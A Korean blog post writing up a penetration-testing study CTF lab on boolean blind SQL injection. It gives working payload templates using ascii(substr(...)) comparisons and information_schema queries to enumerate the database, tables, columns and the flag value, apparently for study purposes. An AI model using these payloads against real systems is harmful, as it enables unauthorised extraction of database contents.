모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)

2024. 12. 4. 10:23·모의해킹/모의해킹 스터디

이번 문제는 Blind SQL Injection에 대한 기본적인 문제이다.

SQL Injection (Blind Practice)
Blind SQLi 메인화면


1. SQL Injection point 찾기

우선 'normaltic'으로 검색해본다.

normaltic 검색

 

성공적으로 검색되는걸 확인할 수 있다.

 

그 다음 SQL Injection이 가능한지 알아보기 위해

normaltic' and '1'='1

을 작성해주고 출력하면

참 검색

해당 결과를 얻을 수 있다. 이를 통해 SQL Injection이 가능하다는 걸 알 수 있다.

 

SQL Injection중 어떤 방안을 접근할 지 알아보기 위해 " normaltic' "를 실행해 보면

normaltic' 실행

아무것도 뜨지 않는걸 알 수 있는데 이는 Error Based SQLi를 사용할 수 없다는 것을 알 수 있다.

 

normaltic' and '1'='2

해당 구문을 실행해보면

 

normaltic' and '1'='2 실행

해당 결과가 나온다.

 

참 / 거짓에 대한 정보가 나오고 성공(참)일 때 DB 결과가 출력되는것이 아니기 때문에 Blind SQLi를 사용하면 된다.

 

2. Select 문구 사용 가능

Select 문구를 사용할 수 있는지 확인해 보기 위해

normaltic' and ((select 'test')='test') and '1'='1

를 작성해보면

 

Select 문구 작성 확인

정상적으로 출력되는 것을 알 수 있다.

 

이를 통해 Select 구문을 직접 사용할 수 있음을 알 수 있다.

 

3. 공격 format 만들기

공격 Format은 위의 내용과

2024.12.02 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 7주차 정리

 

모의해킹 스터디 7주차 정리

SQL 질의문 결과가 화면에 출력되는 경우 : UNION SQL에러메시지가 화면에 출력되는 경우: Error Based SQLi에러 메시지를 활용해서 데이터를 출력 => 로직에러 / SQL 에러SQL 질의문 결과가 화면에 안나오

it-techlog.tistory.com

해당 내용을 참고하여

 

normaltic' and (ascii(substr((__SQL__),n,1)) > m) and '1'='1

이렇게 구현하였다.

 

4. DB명 찾기

DB명을 찾는 구문은

normaltic' and (ascii(substr((select database()),n,1)) > m) and '1'='1

이렇게 작성하였고

normaltic' and (ascii(substr((select count(database())),1,1)) > m) and '1'='1

해당 구문을 작성했을 때 값을 '49'가 나온다. '49'를 ascii코드로 치환해보면 DB의 개수는 1개이다.

 

첫번째 글자는 'n'값에 1을 넣고 확인해보고 m의 값을 Binary Search를 해보면 해당 값의 ascii코드를 찾을 수 있다. 이를 문자열로 변환하면 첫번째 글자를 얻을 수 있다.

 

이걸 'm'이 0일때 거짓 출력이 나올 때 가지 해주면 DB명의 길이과 각 자리의 값을 알 수 있다.

 

5. Table명 찾기

Table명을 찾는 구문은

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='DB명' limit n,1 ),m,1)) > x) and '1'='1

이렇게 작성하였고 

 

normaltic' and (ascii(substr((select count(table_name) from information_schema.tables where table_schema='DB명'),1,1)) = 51) and '1'='1

해당 구문을 작성했을 때 참이 나오는데 이때 '51'을  ascii코드로 치환해보면 Table개수가 3개인 것을 알 수 있다.

 

글자를 찾기 위해선 Table명을 찾는 구문에

  • n: 0 ~ Table 개수
  • m: 0 ~ Table 글자 수 까지
  • x: 0 ~ ascii코드의 개수

를 참에 맞게 입력하면 flag와 관련된 테이블에 각 자리의 값을 확인 할 수 있다.

 

6. Column명 찾기

"flag"와 관련한 Column명을 찾는 구문은

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='테이블명' limit n,1 ),m,1)) > x) and '1'='1

이렇게 작성하였다.

 

normaltic' and (ascii(substr((select count(column_name) from information_schema.columns where table_name='테이블명'),1,1)) = 50) and '1'='1

해당 구문 작성 하면 '50'에서 참이 나오는데 이때 '50'을 ascii코드로 치환해보면 해당 테이블의 컬럼 개수는 2개인 것을 알 수 있다.

 

글자를 찾기 위해선 Column명을 찾는 구문에

  • n: 0 ~ 컬럼 개수
  • m: 0 ~ 컬럼 글자 수 까지
  • x: 0 ~ ascii코드의 개수

를 참에 맞게 입력하면 flag와 관련된 컬럼에 각 자리의 값을 확인 할 수 있다.

 

7. DATA 찾기

"flag"와 관련한 Data를 찾는 구문은

normaltic' and (ascii(substr((select 컬럼명 from 테이블명 limit n,1),m,1)) > x) and '1'='1

로 만들어 주었다.

 

normaltic' and (ascii(substr((select count(컬럼명) from 테이블명),1,1)) = 49) and '1'='1

해당 구문 작성 하면 '49'에서 참이 나오는데 이때 '49'을 ascii코드로 치환해보면 해당 컬럼의 데이터 개수는 1개인 것을 알 수 있다.

 

글자를 찾기 위해선 Data를 찾는 구문에

  • n: 0 ~ 데이터 개수 -> 여기선 데이터 개수가 1개밖에 없으니 0만 넣어줘도 된다.
  • m: 0 ~ 데이터 글자 수 까지
  • x: 0 ~ ascii코드의 개수

를 참에 맞게 입력하면 flag의 각 자리의 값을 확인 할 수 있다.

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - SQL Injection 4  (0) 2024.12.06
모의해킹 스터디 CTF 문제 - SQL Injection 3  (0) 2024.12.04
모의해킹 스터디 CTF 문제 - Error Based SQLi Basic  (0) 2024.12.04
모의해킹 스터디 7주차 정리  (0) 2024.12.02
모의해킹 스터디 CTF 문제 - SQL Injection 2  (0) 2024.11.27
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - SQL Injection 4
  • 모의해킹 스터디 CTF 문제 - SQL Injection 3
  • 모의해킹 스터디 CTF 문제 - Error Based SQLi Basic
  • 모의해킹 스터디 7주차 정리
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    hash
    WEB
    mysql
    javascript
    모의해킹스터디
    sqlinjection
    티스토리챌린지
    HttpResponse
    상태코드
    메서드
    php
    웹해킹
    httprequest
    HTTP
    NAT
    Chrome
    Network
    HTML
    burpsuite
    웹개발
    SQL
    오블완
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice)
상단으로

티스토리툴바